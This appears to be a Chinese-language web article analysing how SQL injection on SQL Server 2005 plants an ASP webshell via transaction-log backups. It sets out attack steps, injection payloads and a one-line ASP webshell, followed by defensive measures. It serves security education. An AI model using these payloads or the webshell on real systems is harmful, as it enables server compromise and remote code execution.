首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> SQL Server 2005

MSSQL 2005 LOG 備份寫入 WebShell 手法分析與防禦

     編輯:SQL Server 2005

聲明

本文僅供安全研究與防禦參考,嚴禁用於非法攻擊。 內容轉載自「孤狐浪子博客」,展示利用 SQL Server 備份機制寫入 WebShell 的注入手法,以便管理員理解風險並加強防護。

攻擊原理

利用 SQL Injection 注入 T-SQL 命令,透過 BACKUP LOG ... TO DISK 將惡意程式碼 (WebShell) 寫入網站目錄下的 .asp/.aspx 檔案,實現 Getshell。

攻擊步驟還原 (簡化)

  1. 設定資料庫復原模式為 FULL:ALTER DATABASE [dbname] SET RECOVERY FULL
  2. 備份完整資料庫建立基準:BACKUP DATABASE [dbname] TO DISK = 'path\db.bak' WITH INIT
  3. 建立暫存表:CREATE TABLE [tmp] ([col] IMAGE)
  4. 備份交易記錄寫入 WebShell 內容:BACKUP LOG [dbname] TO DISK = 'path\shell.asp' WITH INIT (記錄中包含 INSERT 惡意碼)
  5. 清理痕跡:刪除暫存表、再次備份記錄截斷。

關鍵注入 Payload 片段 (URL 編碼)

'; ALTER DATABASE [db] SET RECOVERY FULL;--
'; BACKUP DATABASE [db] TO DISK = 0x... WITH INIT;--
'; CREATE TABLE [tmp] ([a] IMAGE);--
'; BACKUP LOG [db] TO DISK = 0x... WITH INIT;--
'; INSERT INTO [tmp]([a]) VALUES (0x3C25...);--  (<%Execute(request("itpro"))%>)
'; BACKUP LOG [db] TO DISK = 0x...(網站物理路徑\shell.asp) WITH INIT;--
'; DROP TABLE [tmp];--

防禦措施

  • 參數化查詢 / 預存程序:杜絕字串拼接 SQL,根除注入源頭。
  • 最小權限原則:Web 應用資料庫帳號禁止擁有 BACKUP DATABASE/LOG、ALTER DATABASE、CREATE TABLE、xp_cmdshell 等高危權限。
  • 禁用不必要的擴充預存程序:sp_configure 'xp_cmdshell', 0。
  • 資料庫與網站目錄隔離:備份路徑不可指向 Web 根目錄;檔案系統 ACL 限制 SQL Server 服務帳號寫入 Web 目錄。
  • WAF / 入侵偵測:攔截包含 BACKUP LOG、0x 十六進位編碼等特徵的請求。
  • 定期審計備份記錄:監控 msdb.dbo.backupset 異常備份路徑。

總結

此手法利用 SQL Server 合法備份功能繞過檔案寫入限制,危害極大。核心防禦在於嚴格權限控制與參數化查詢,切勿將資料庫高權限帳號用於 Web 應用連線。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved